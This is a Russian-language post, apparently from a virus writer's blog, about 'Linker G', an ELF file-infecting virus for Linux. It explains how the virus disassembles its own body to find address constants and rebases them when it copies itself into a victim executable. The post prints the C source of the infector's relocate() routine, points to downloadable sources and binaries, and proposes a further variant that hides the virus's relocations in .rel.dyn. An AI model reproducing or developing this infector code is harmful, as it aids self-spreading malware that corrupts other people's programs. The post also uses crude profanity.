Написал небольшое продолжение этого проекта. "Linker" таскает за собой таблицу релоков, "Linker G" (guess what is G for?) их "угадывает". Идея в следующем: процесс живет в четырёх-гигабайтном адресном пространстве, из которого только крохотная часть - это код и данные вируса. В данном случае 4 килобайта. Неплохое соотношение. А поэтому, выдаём вирусу дизассемблер (1 шт.) и вперёд - парсить свой код на наличие констант похожих на адреса. Дальше просто - копируем тушку в жертву и из каждой найденной константы вычитаем базовый адрес вируса в текущем процессе и добавляем базовый адрес вируса же в файле-жертве. Константами со значением близким к 0x08049000 по понятным причинам лучше не пользоваться. libc вызывается довольно извращённым способом, но это можно и переделать, нельзя использовать .bss, но это от лени. :-) всё.
вот так выглядит relocate() в версии G:
void relocate(uint8_t *text, uint8_t *data, uint32_t new_text,
uint32_t new_data, uint32_t old_entry)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr*)get_base((uint32_t)main);
uint8_t *p;
yad_t y;
/* update text and data references within text segment */
/* the code could be improved by checking that code ref. */
/* lies on insn. boundary, otherwise it's a constant */
for (p = text; p - text < code_size; p += y.len) {
if (yad(p, &y) == 0)
exit(0);
y.flags &= ~C_BAD;
#define DO_REL(a,b) \
if (y.a >= (uint32_t)&sv##b && y.a <= (uint32_t)&ev##b) { \
y.a = y.a - (uint32_t)&sv##b + new_##b; y.flags |= C_BAD; \
}
DO_REL(data4, text)
DO_REL(data4, data)
DO_REL(addr4, text)
DO_REL(addr4, data)
#undef DO_REL
/* save old entry point */
#define DO_REL(a) \
if(y.a == ehdr->e_entry) { \
y.a = old_entry; \
y.flags |= C_BAD; \
}
DO_REL(addr4)
DO_REL(data4)
#undef DO_REL
/* update insn */
if (y.flags & C_BAD)
yad_asm(p, &y);
}
/* update text and data references within data segment */
/* we assume that all pointers are properly aligned
for (p = data; p - data < data_size; p += 4) {
#define DO_REL(b) \
if (*(uint32_t*)p >= (uint32_t)&sv##b && *(uint32_t*)p <= (uint32_t)&ev##b) { \
*(uint32_t*)p = *(uint32_t*)p - (uint32_t)&sv##b + new_##b; \
}
DO_REL(text)
DO_REL(data)
#undef DO_REL
}
*/
}
В принципе, можно применить этот вариант и к жертве, но стрёмно, двух простых правил маловато, чтобы отличить константу от адреса, хотя вероятность напороться не очень высока. Я считал.
Скачать исходники, бинари. Тестировано на RHEL 5.3. (оно немного глючит. но это же альфа, просто, чтобы показать идею.
Осталось добавить ещё третий вариант, когда вирус добавляет свои релоки в .rel.dyn, тогда всю работу выполнит RTLD. И никакого, блядь, ассемблера, дельт злоебучих, массивов заполняемых push и mov и прочей ахинеи. :-) |